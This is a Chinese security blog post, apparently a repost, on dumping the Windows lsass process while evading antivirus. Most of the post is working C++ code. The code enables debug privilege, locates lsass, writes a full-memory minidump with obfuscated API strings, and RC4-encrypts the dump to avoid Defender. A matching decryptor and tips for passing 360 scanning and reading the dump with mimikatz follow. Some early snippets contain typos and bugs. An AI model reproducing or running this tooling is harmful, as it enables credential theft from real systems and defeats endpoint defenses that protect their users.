免杀 | dump lssas进程

admin 2025年2月18日19:55:09评论17 views字数 12674阅读42分14秒阅读模式

提升权限

DumpLsass需要SeDebugPrivilege权限,管理员Powershell默认是有的,流程是首先提升进程权限,看网络上的前辈视频和文章第一种方法用底层函数RtlAdjustPrivilege,第二种方法通过NtOpenProcessToken获得当前进程的token所有特权遍历到DebugPrivilege后通过NtAdjustPrivilegesToken设置为SE_PRIVILEGE_ENABLED

第一种方法:

void EnableDebug() {
   auto pRtlAdjustPrivilege = (decltype(&RtlAdjustPrivilege))GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
   BOOLEAN Enabled;
   pRtlAdjustPrivilege(0x14,1,0&Enabled);
}

代码含义

auto pRtlAdjustPrivilege = (decltype(&RtlAdjustPrivilege))GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
  1. LoadLibraryA("ntdll.dll"):调用 LoadLibraryA 函数加载 ntdll.dll 动态链接库。ntdll.dll 是 Windows NT 操作系统的核心动态链接库,包含了许多底层的系统函数。

  2. GetProcAddress(..., "RtlAdjustPrivilege"):调用 GetProcAddress 函数从 ntdll.dll 中获取 RtlAdjustPrivilege 函数的地址。RtlAdjustPrivilege 是一个用于调整进程或线程特权的函数。

  3. (decltype(&RtlAdjustPrivilege)):将获取到的函数地址强制转换为 RtlAdjustPrivilege 函数指针类型。decltype(&RtlAdjustPrivilege)用于自动推导 RtlAdjustPrivilege 函数指针的类型

pRtlAdjustPrivilege(0x14,1,0&Enabled);
  1. 0x14:表示要调整的特权标识符,0x14 对应的是调试特权(SE_DEBUG_NAME)

  2. 1:在 RtlAdjustPrivilege 函数中,这个参数通常应该是 BOOLEAN 类型,1 相当于 TRUE,表示要启用该特权。

  3. 0&Enabled:这是错误的参数传递方式。正确的应该是传递 &Enabled,用于让 RtlAdjustPrivilege 函数将特定特权是否已启用的结果存储在 Enabled 变量中。

第二种方法:

BOOL SetDebugPrivilege()
{

    HANDLE token = NULL;

    NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);

    TOKEN_ELEVATION tokenElevation = { 0 };
    DWORD tokenElevationSize = sizeof(TOKEN_ELEVATION);

    NtQueryInformationToken(token, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenElevationSize);

    if (tokenElevation.TokenIsElevated)
    {
        DWORD tokenPrivsSize = 0;

        NtQueryInformationToken(token, TokenPrivileges, NULL, NULL, &tokenPrivsSize);

        PTOKEN_PRIVILEGES tokenPrivs = (PTOKEN_PRIVILEGES)new BYTE[tokenPrivsSize];

        NtQueryInformationToken(token, TokenPrivileges, tokenPrivs, tokenPrivsSize, &tokenPrivsSize);

        for (DWORD i = 0; i < tokenPrivs->PrivilegeCount; i++)
        {
            if (tokenPrivs->Privileges[i].Luid.LowPart == 0x14)
            {
                tokenPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;

                NtAdjustPrivilegesToken(token, FALSE, tokenPrivs, tokenPrivsSize, NULL, NULL);
            }
        }

        delete tokenPrivs;
    }

    NtClose(token);

    return TRUE;
}

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == NULL) {
    return 1;
}

代码含义

NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);

NtOpenProcessToken 是Windows NT 操作系统中的一个原生函数,用于打开指定进程的访问令牌,并返回一个可用于后续操作该令牌的句柄。

  1. 第一个参数:即 GetCurrentProcess() 返回的当前进程的伪句柄,表示要打开其访问令牌的进程。

  2. 第二个参数:TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES 是一个权限标志组合。

  3. TOKEN_QUERY:表示请求查询访问令牌信息的权限,例如查询令牌中的用户 SID(安全标识符)、组信息、权限列表等。

  4. TOKEN_ADJUST_PRIVILEGES:表示请求调整访问令牌中权限的权限,例如启用或禁用某些特权(如调试特权、关机特权等)。

  5. 第三个参数:&token 是一个指向 HANDLE 类型变量的指针,用于接收打开的访问令牌的句柄。后续可以使用这个句柄对访问令牌进行进一步的操作。

DWORD lsassPid = 0;
PROCESSENTRY32  pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = NULL;
  1. lsassPid:用于存储找到的 lsass.exe 进程的 PID,初始化为 0

  2. pe32PROCESSENTRY32 结构体变量,用于存储进程的信息,初始化其 dwSize 成员为结构体的大小。

  3. hSnapShot:用于存储进程快照的句柄,初始化为 NULL

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == NULL) {
 return 1;
}
  1. CreateToolhelp32Snapshot:创建一个系统快照,TH32CS_SNAPPROCESS 表示创建所有进程的快照,第二个参数为 NULL 表示获取所有进程的信息。

  2. CreateToolhelp32Snapshot:创建一个系统快照,TH32CS_SNAPPROCESS 表示创建所有进程的快照,第二个参数为 NULL 表示获取所有进程的信息。

  3. 如果创建快照失败,返回 1 表示程序异常退出。

if (Process32First(hSnapShot, &pe32)) {
    do {
        wchar_t* ptr = wcsstr(pe32.szExeFile, L"lsass.exe");
        if (ptr != NULL) {
            lsassPid = pe32.th32ProcessID;
            wprintf(L"Found lsass.exe process. PID: %lun", lsassPid);
            break;
        }
    } while (Process32Next(hSnapShot, &pe32));
}
  1. Process32First:获取快照中的第一个进程信息,并将其存储在 pe32 结构体中。

  2. wcsstr:在宽字符字符串 pe32.szExeFile 中查找子字符串 L"lsass.exe",如果找到则返回子字符串的指针,否则返回 NULL

  3. 如果找到 lsass.exe 进程,将其 PID 存储在 lsassPid 中,并使用 wprintf 输出信息,然后使用 break 语句退出循环。

  4. Process32Next:获取快照中的下一个进程信息,继续循环遍历。

遍历进程ID

首先获取进程ID,进程匹配,创建系统快照,遍历进程快照,通过wcsstr,在宽字符字符串 pe32.szExeFile 中查找子字符串 L"lsass.exe"。如果找到,返回子字符串的指针;否则返回 NULL

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <string.h>
#include <wchar.h>  // 新增,用于宽字符相关操作

int main() {
    DWORD lsassPid = 0;
    PROCESSENTRY32  pe32 = { sizeof(PROCESSENTRY32) };
    HANDLE hSnapShot = NULL;
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == NULL) {
        return 1;
    }
    if (Process32First(hSnapShot, &pe32)) {
        do {
            // 使用wcsstr处理宽字符类型的szExeFile(假设其为宽字符类型)
            wchar_t* ptr = wcsstr(pe32.szExeFile, L"lsass.exe");
            if (ptr != NULL) {  // 判断是否找到lsass.exe
                lsassPid = pe32.th32ProcessID;  // 将lsass.exe进程的PID存储到变量中
                wprintf(L"Found lsass.exe process. PID: %lun", lsassPid);  // 使用wprintf输出宽字符字符串
                break;  // 找到后就可以退出循环了,不需要继续遍历
            }
        } while (Process32Next(hSnapShot, &pe32));
    }
    CloseHandle(hSnapShot);
    return 0;
}

MiniDump

通过MiniDumpWriteDump读取lsass进程内存,并将结果保存到文件

MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

离不开MiniDumpWriteDump API来生成程序的Dump,视频中给出了如下代码

auto pMiniDumpWriteDump = (decltype(&MiniDumpWriteDump))GetProcAddress(LoadLibraryA("dbghelp.dll"), "MiniDumpWriteDump");
auto dumpFile = CreateFileA("minidump", GENERIC_ALL, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
auto result = pMiniDumpWriteDump(hlsass, LsassPid, dumpFile, (MINIDUMP_TYPE)6, NULL, NULL, NULL);
if(result)
{
 auto DumpSie = GetFileSize(dumpFile,NULL);
 SetFilePointer(dumpFile,NULL,NULL,FILE_BEGIN);
 auto buff = new char[DumpSize];
 memset(buff,0,DumpSize);
 ReadFile(dumpFile,buff,DumpSize,NULL,NULL);
   for (size_t i=0;i< Dumpsize;i++);
   {
     buff[i] ^= 0x8D;
   }
  SetFilePoniter(dumpFile,NULL,NULL,FILE_BEGIN);
  WriteFile(dumpFile,buff,DumpSize,NULL,NULL);
}
CloseHandle(hlsass);
CloseHandle(dumpFile);

但是在defender环境下转储的lsass如果不加密会直接杀,最好是加密一下 代码含义:

auto pMiniDumpWriteDump = (decltype(&MiniDumpWriteDump))GetProcAddress(LoadLibraryA("dbghelp.dll"), "MiniDumpWriteDump");
  1. LoadLibraryA("dbghelp.dll"):调用 LoadLibraryA 函数动态加载 dbghelp.dll 动态链接库。这个库包含了许多与调试和转储文件操作相关的函数。

  2. GetProcAddress(..., "MiniDumpWriteDump"):使用 GetProcAddress 函数从已经加载的 dbghelp.dll 库中获取 MiniDumpWriteDump 函数的地址。MiniDumpWriteDump 函数用于创建指定进程的迷你转储文件。

  3. (decltype(&MiniDumpWriteDump)):将获取到的函数地址强制转换为 MiniDumpWriteDump 函数指针类型。decltype(&MiniDumpWriteDump) 可以自动推导 MiniDumpWriteDump 函数指针的类型。

  4. auto pMiniDumpWriteDump:使用 auto 关键字让编译器自动推导 pMiniDumpWriteDump 的类型,它最终是一个指向 MiniDumpWriteDump 函数的指针。

auto result = pMiniDumpWriteDump(hlsass, LsassPid, dumpFile, (MINIDUMP_TYPE)6, NULL, NULL, NULL);
  1. pMiniDumpWriteDump:前面获取到的 MiniDumpWriteDump 函数指针。
  2. hlsass:要创建迷你转储文件的目标进程的句柄。
  3. LsassPid:目标进程的进程 ID
  4. (MINIDUMP_TYPE)6:指定迷你转储文件的类型,把整数 6 强制转换为 MINIDUMP_TYPE 枚举类型,不同的枚举值代表不同的转储级别和包含的信息。
  5. NULL, NULL, NULL:分别表示异常信息、用户流回调函数和用户流上下文,这里都不使用,传入 NULL
  6. auto result:使用 auto 关键字让编译器自动推导 result 的类型,它是一个布尔值,用于表示MiniDumpWriteDump 函数调用是否成功。

参考代码

dump lssas

#include <Windows.h>
#include <Tlhelp32.h>
#include <Dbghelp.h>
#include <vector>

#pragma comment(lib, "Dbghelp.lib")

// RC4 初始化
void rc4_init(const std::vector<unsigned char>& key, std::vector<unsigned char>& S) {
    for (int i = 0; i < 256; ++i) {
        S[i] = static_cast<unsigned char>(i);
    }
    int j = 0;
    for (int i = 0; i < 256; ++i) {
        j = (j + S[i] + key[i % key.size()]) % 256;
        std::swap(S[i], S[j]);
    }
}

// RC4 加密
std::vector<unsigned char> rc4_encrypt(const std::vector<unsigned char>& key, const std::vector<unsigned char>& plaintext) {
    std::vector<unsigned char> S(256);
    rc4_init(key, S);
    std::vector<unsigned char> ciphertext(plaintext.size());
    int i = 0, j = 0;
    for (size_t k = 0; k < plaintext.size(); ++k) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        std::swap(S[i], S[j]);
        unsigned char keystream_byte = S[(S[i] + S[j]) % 256];
        ciphertext[k] = plaintext[k] ^ keystream_byte;
    }
    return ciphertext;
}

// 获取 lsass.exe 进程的 PID
DWORD GetLsassPid() {
    PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (wcscmp(pe32.szExeFile, L"lsass.exe") == 0) {
                CloseHandle(hSnapshot);
                return pe32.th32ProcessID;
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
    CloseHandle(hSnapshot);
    return 0;
}

// 启用调试权限
BOOL EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);
    return TRUE;
}

// 将 char 数组转换为 LPCWSTR
LPCWSTR charToLPCWSTR(const char* str) {
    int len = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
    wchar_t* wstr = new wchar_t[len];
    MultiByteToWideChar(CP_ACP, 0, str, -1, wstr, len);
    return wstr;
}

int main() {
    if (!EnableDebugPrivilege()) return 1;
    DWORD lsassPid = GetLsassPid();
    if (lsassPid == 0) return 1;
    HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
    if (hLsass == NULL) return 1;

    const char miniDumpStr[] = { 'M','i','n','i','D','u','m','p','W','r','i','t','e','D','u','m','p','�' };
    const char strDMP[] = { 'r','e','s','u','l','t','.','b','i','n','�' };
    typedef BOOL(WINAPI* PMiniDumpWriteDump)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PMINIDUMP_EXCEPTION_INFORMATION, PMINIDUMP_USER_STREAM_INFORMATION, PMINIDUMP_CALLBACK_INFORMATION);
    PMiniDumpWriteDump MiniDumpWriteDump = (PMiniDumpWriteDump)(GetProcAddress(LoadLibrary(charToLPCWSTR("dbghelp.dll")), miniDumpStr));
    if (MiniDumpWriteDump == NULL) {
        CloseHandle(hLsass);
        return 1;
    }

    HANDLE hDumpFile = CreateFileA(strDMP, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDumpFile == INVALID_HANDLE_VALUE) {
        CloseHandle(hLsass);
        return 1;
    }

    BOOL result = MiniDumpWriteDump(hLsass, lsassPid, hDumpFile, (MINIDUMP_TYPE)6, NULL, NULL, NULL);
    if (!result) {
        CloseHandle(hLsass);
        CloseHandle(hDumpFile);
        return 1;
    }

    DWORD fileSize = GetFileSize(hDumpFile, NULL);
    if (fileSize == INVALID_FILE_SIZE) {
        CloseHandle(hLsass);
        CloseHandle(hDumpFile);
        return 1;
    }
    SetFilePointer(hDumpFile, 0, NULL, FILE_BEGIN);
    std::vector<unsigned char> fileContent(fileSize);
    DWORD bytesRead;
    if (!ReadFile(hDumpFile, fileContent.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
        CloseHandle(hLsass);
        CloseHandle(hDumpFile);
        return 1;
    }
    std::vector<unsigned char> rc4Key = { 'S''e''c''r''e''t''K''e''y' };
    std::vector<unsigned char> encryptedContent = rc4_encrypt(rc4Key, fileContent);
    SetFilePointer(hDumpFile, 0, NULL, FILE_BEGIN);
    DWORD bytesWritten;
    if (!WriteFile(hDumpFile, encryptedContent.data(), encryptedContent.size(), &bytesWritten, NULL) || bytesWritten != encryptedContent.size()) {
        CloseHandle(hLsass);
        CloseHandle(hDumpFile);
        return 1;
    }
    CloseHandle(hLsass);
    CloseHandle(hDumpFile);
    return 0;
}

解密

#include <fstream>
#include <vector>

// RC4 初始化
void rc4_init(const std::vector<unsigned char>& key, std::vector<unsigned char>& S) {
    for (int i = 0; i < 256; ++i) {
        S[i] = static_cast<unsigned char>(i);
    }
    int j = 0;
    for (int i = 0; i < 256; ++i) {
        j = (j + S[i] + key[i % key.size()]) % 256;
        std::swap(S[i], S[j]);
    }
}

// RC4 解密(加密和解密操作相同)
std::vector<unsigned char> rc4_decrypt(const std::vector<unsigned char>& key, const std::vector<unsigned char>& ciphertext) {
    std::vector<unsigned char> S(256);
    rc4_init(key, S);
    std::vector<unsigned char> plaintext(ciphertext.size());
    int i = 0, j = 0;
    for (size_t k = 0; k < ciphertext.size(); ++k) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        std::swap(S[i], S[j]);
        unsigned char keystream_byte = S[(S[i] + S[j]) % 256];
        plaintext[k] = ciphertext[k] ^ keystream_byte;
    }
    return plaintext;
}

int main() {
    std::vector<unsigned char> rc4Key = { 'S''e''c''r''e''t''K''e''y' };
    std::ifstream encryptedFile("result.bin", std::ios::binary);
    if (!encryptedFile) return 1;
    encryptedFile.seekg(0, std::ios::end);
    std::streamsize fileSize = encryptedFile.tellg();
    encryptedFile.seekg(0, std::ios::beg);
    std::vector<unsigned char> encryptedContent(fileSize);
    if (!encryptedFile.read(reinterpret_cast<char*>(encryptedContent.data()), fileSize)) {
        encryptedFile.close();
        return 1;
    }
    encryptedFile.close();
    std::vector<unsigned char> decryptedContent = rc4_decrypt(rc4Key, encryptedContent);
    std::ofstream decryptedFile("decrypted_result.bin", std::ios::binary);
    if (!decryptedFile) return 1;
    if (!decryptedFile.write(reinterpret_cast<const char*>(decryptedContent.data()), decryptedContent.size())) {
        decryptedFile.close();
        return 1;
    }
    decryptedFile.close();
    return 0;
}
免杀 | dump lssas进程
image
免杀 | dump lssas进程
image

 

360静态测试过了,需要icon version 签名 该加的都加上,但动态的时候会提示恶意程序操作dump你的凭据,但还是顺利dump出来。应该是被hook了,过段时间云查杀会判断成木马文件,推测应为恶意行为导致判断成恶意文件。

免杀 | dump lssas进程
image

注意:

提示Opening : 'decrypted_result.dmp' file for minidump... ERROR kuhl_m_sekurlsa_acquireLSA ; Key import,据查阅资料显示应为猕猴桃版本问题,使用mimikatz2.1.1版本即可避免此告警

参考资料:

  1. 【免杀小技05:免杀Dump】 https://www.bilibili.com/video/BV1Rz4y1u7tn?vd_source=0d0f0e2e132193a2b5f36624bfadabef

  2. 【文章 - DumpLsass免杀 - 先知社区】 https://xz.aliyun.com/news/14977

原文始发于微信公众号(花火安全):免杀 | dump lssas进程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月18日19:55:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀 | dump lssas进程https://cn-sec.com/archives/3753633.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息